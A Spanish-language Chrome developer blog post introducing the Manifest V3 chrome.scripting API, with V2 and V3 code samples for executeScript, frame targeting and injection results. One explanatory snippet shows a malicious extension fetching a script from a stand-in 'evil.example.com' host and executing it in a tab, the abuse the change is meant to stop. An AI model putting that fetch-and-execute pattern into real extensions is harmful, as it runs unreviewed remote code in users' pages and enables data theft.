Presentación de chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 presenta varios cambios en la plataforma de extensiones de Chrome. En esta publicación, exploraremos las motivaciones y los cambios introducidos por uno de los cambios más notables: la introducción de la API de chrome.scripting.

¿Qué es chrome.scripting?

Como su nombre podría sugerir, chrome.scripting es un espacio de nombres nuevo presentado en Manifest V3 responsable de las capacidades de inserción de secuencias de comandos y estilo.

Es posible que los desarrolladores que crearon extensiones de Chrome en el pasado conozcan los métodos de Manifest V2 en la API de pestañas, como chrome.tabs.executeScript y chrome.tabs.insertCSS. Estos métodos permiten que las extensiones inserten secuencias de comandos y hojas de estilo en las páginas, respectivamente. En Manifest V3, estas capacidades se trasladaron a chrome.scripting, y planeamos expandir esta API con algunas funciones nuevas en el futuro.

¿Por qué crear una API nueva?

Con un cambio como este, una de las primeras preguntas que tiende a surgir es "¿por qué?".

Debido a diferentes factores, el equipo de Chrome decidió introducir un nuevo espacio de nombres para la secuencia de comandos. En primer lugar, la API de pestañas es un panel lateral no deseado para las funciones. En segundo lugar, tuvimos que realizar cambios rotundos en la API de executeScript existente. En tercer lugar, sabíamos que queríamos expandir las capacidades de escritura de secuencias de comandos para las extensiones. En conjunto, estas cuestiones definieron con claridad la necesidad de un nuevo espacio de nombres para alojar capacidades de secuencias de comandos.

El panel lateral de correo no deseado

Uno de los problemas que ha molestado al equipo de Extensiones durante los últimos años es que la API de chrome.tabs está sobrecargada. Cuando se introdujo esta API por primera vez, la mayoría de las capacidades que proporcionaba estaban relacionadas con el concepto amplio de una pestaña del navegador. Sin embargo, incluso en ese momento, era simplemente una bolsa de funciones y, con el paso de los años, esta colección fue creciendo.

Para cuando se lanzó Manifest V3, la API de Tabs había crecido para abarcar la administración básica de pestañas, la administración de selecciones, la organización de ventanas, la mensajería, el control de zoom, la navegación básica, la escritura de secuencias de comandos y algunas otras capacidades más pequeñas. Si bien todos estos aspectos son importantes, puede resultar abrumador para los desarrolladores cuando recién comienzan y para el equipo de Chrome, ya que mantenemos la plataforma y consideramos las solicitudes de la comunidad de desarrolladores.

Otro factor problemático es que no se comprende bien el permiso tabs. Si bien muchos otros permisos restringen el acceso a una API determinada (p.ej., storage), este permiso es poco habitual, ya que solo otorga a la extensión acceso a propiedades sensibles en instancias de Tab (y, por extensión, también afecta a la API de Windows). Es entendible que muchos desarrolladores de extensiones piensen erróneamente que necesitan este permiso para acceder a métodos de la API de pestañas, como chrome.tabs.create o, al menos, chrome.tabs.executeScript. Quitar la funcionalidad de la API de Tabs ayuda a aclarar algo de esta confusión.

Cambios rotundos

Cuando diseñamos Manifest V3, uno de los principales problemas que queríamos abordar fueron los abusos y el software malicioso habilitado por el "código alojado de forma remota", es decir, código que se ejecuta, pero no está incluido en el paquete de extensión. Es común que los autores abusivos de extensiones ejecuten secuencias de comandos recuperadas de servidores remotos para robar datos del usuario, inyectar software malicioso y evadir la detección. Si bien los buenos actores también usan esta capacidad, en última instancia, sentimos que era demasiado peligroso seguir siendo como era.

Las extensiones pueden ejecutar código sin empaquetar de diferentes maneras, pero la que corresponde es el método chrome.tabs.executeScript de Manifest V2. Este método permite que una extensión ejecute una cadena de código arbitraria en una pestaña de destino. Esto, a su vez, significa que un desarrollador malicioso puede recuperar una secuencia de comandos arbitraria de un servidor remoto y ejecutarla dentro de cualquier página a la que pueda acceder la extensión. Sabíamos que, si queríamos solucionar el problema de código remoto, tendríamos que descartar esta función.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

También queríamos solucionar otros problemas más sutiles en el diseño de la versión Manifest V2 y hacer que la API sea una herramienta más pulida y predecible.

Si bien podríamos haber cambiado la firma de este método dentro de la API de Tabs, sentimos que, entre estos cambios rotundos y la introducción de nuevas capacidades (que se abordan en la siguiente sección), una pausa limpia sería más fácil para todos.

Expansión de las capacidades de secuencias de comandos

Otra consideración que se incluyó en el proceso de diseño de Manifest V3 fue el deseo de agregar capacidades de secuencias de comandos adicionales a la plataforma de extensiones de Chrome. En particular, queríamos agregar compatibilidad con secuencias de comandos de contenido dinámico y expandir las capacidades del método executeScript.

La compatibilidad con secuencias de comandos de contenido dinámico es una función solicitada desde hace mucho tiempo en Chromium. Actualmente, las extensiones de Chrome Manifest V2 y V3 solo pueden declarar de manera estática secuencias de comandos de contenido en su archivo manifest.json. La plataforma no proporciona una forma de registrar nuevas secuencias de comandos de contenido, ajustar el registro de secuencias de comandos de contenido ni cancelar el registro de secuencias de comandos de contenido durante el tiempo de ejecución.

Si bien sabíamos que queríamos abordar esta solicitud de función en Manifest V3, ninguna de nuestras APIs existentes se sentía como la opción adecuada. También consideramos la opción de alinearse con Firefox en su API de Content Scripts, pero, desde el principio, identificamos algunas desventajas importantes en este enfoque. Primero, sabíamos que tendríamos firmas incompatibles (p.ej., quitar la compatibilidad con la propiedad code). En segundo lugar, nuestra API tenía un conjunto diferente de restricciones de diseño (p.ej., la necesidad de un registro para persistir más allá de la vida útil de un service worker). Por último, este espacio de nombres también nos conectaría a la funcionalidad de secuencias de comandos de contenido, en la que pensamos crear secuencias de comandos en extensiones de manera más amplia.

En cuanto a executeScript, también queríamos expandir lo que esta API podía hacer más allá de lo que admitía la versión de la API de Tabs. Más concretamente, queríamos admitir funciones y argumentos, orientar con mayor facilidad a marcos específicos y segmentar contextos que no fueran pestañas.

En el futuro, también consideraremos cómo las extensiones pueden interactuar con las AWP instaladas y otros contextos que no se asignan conceptualmente a "pestañas".

Cambios entre rows.executeScript y scripting.executeScript

En el resto de esta publicación, me gustaría analizar con más detalle las similitudes y diferencias entre chrome.tabs.executeScript y chrome.scripting.executeScript.

Cómo insertar una función con argumentos

Si consideramos cómo debería evolucionar la plataforma a la luz de las restricciones de código alojado de forma remota, queríamos encontrar un equilibrio entre la potencia bruta de la ejecución de código arbitrario y solo permitir secuencias de comandos de contenido estático. La solución que usamos fue permitir que las extensiones inyecten una función como una secuencia de comandos de contenido y pasen un array de valores como argumentos.

Veamos rápidamente un ejemplo (simplificado). Supongamos que queremos insertar una secuencia de comandos que salude al usuario por su nombre cuando hace clic en el botón de acción de la extensión (ícono en la barra de herramientas). En Manifest V2, podríamos crear de forma dinámica una cadena de código y ejecutar esa secuencia en la página actual.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Si bien las extensiones de Manifest V3 no pueden usar código que no esté empaquetado con la extensión, nuestro objetivo era conservar parte del dinamismo que tenían los bloques de código arbitrarios habilitados para las extensiones de Manifest V2. El enfoque de funciones y argumentos permite que los revisores, usuarios y otras partes interesadas de Chrome Web Store evalúen con mayor precisión los riesgos que representa una extensión y, al mismo tiempo, permite que los desarrolladores modifiquen el comportamiento del tiempo de ejecución de una extensión según la configuración del usuario o el estado de la aplicación.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Fotogramas de segmentación

También quisimos mejorar la forma en que los desarrolladores interactúan con los fotogramas en la API revisada. La versión de executeScript de Manifest V2 permitió a los desarrolladores orientar a todos los fotogramas de una pestaña o a un marco específico de la pestaña. Puedes usar chrome.webNavigation.getAllFrames para obtener una lista de todos los marcos de una pestaña.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

En Manifest V3, reemplazamos la propiedad opcional de número entero frameId en el objeto de opciones por un arreglo frameIds opcional de números enteros, lo que permite a los desarrolladores orientar varios fotogramas en una sola llamada a la API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Resultados de la inyección de secuencias de comandos

También mejoramos la forma en que mostramos los resultados de la inyección de secuencias de comandos en Manifest V3. Un "resultado" es, básicamente, la declaración final que se evalúa en una secuencia de comandos. Considéralo como el valor que se muestra cuando llamas a eval() o ejecutas un bloque de código en la consola de las Herramientas para desarrolladores de Chrome, pero que se serializa para pasar los resultados entre los procesos.

En Manifest V2, executeScript y insertCSS mostraban un array de resultados de ejecución sin formato. Esto está bien si solo tienes un único punto de inyección, pero no se garantiza el orden de los resultados cuando se inyecta en varios fotogramas, por lo que no hay forma de saber qué resultado está asociado con qué fotograma.

Para ver un ejemplo concreto, veamos los arrays results que muestra Manifest V2 y una versión de Manifest V3 de la misma extensión. Ambas versiones de la extensión insertarán la misma secuencia de comandos de contenido y compararemos los resultados en la misma página de demostración.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Cuando ejecutamos la versión Manifest V2, obtenemos un array de [1, 0, 5]. ¿Qué resultado corresponde al marco principal y cuál al iframe? El valor que se muestra no nos dice esa información, por lo que no lo sabemos con seguridad.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

En la versión Manifest V3, results ahora contiene un array de objetos de resultado en lugar de un array de solo los resultados de evaluación, y los objetos de resultado identifican claramente el ID del fotograma para cada resultado. Esto facilita que los desarrolladores usen el resultado y realicen acciones en un marco específico.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusión

Las mejoras en la versión del manifiesto presentan una oportunidad poco común para repensar y modernizar las APIs de extensiones. Nuestro objetivo con Manifest V3 es mejorar la experiencia del usuario final, ya que aumenta la seguridad de las extensiones y también mejora la experiencia de los desarrolladores. Cuando presentamos chrome.scripting en Manifest V3, pudimos ayudar a limpiar la API de Tabs, rediseñar executeScript para una plataforma de extensiones más segura y sentar las bases para nuevas capacidades de escritura de secuencias de comandos que llegarán más adelante este año.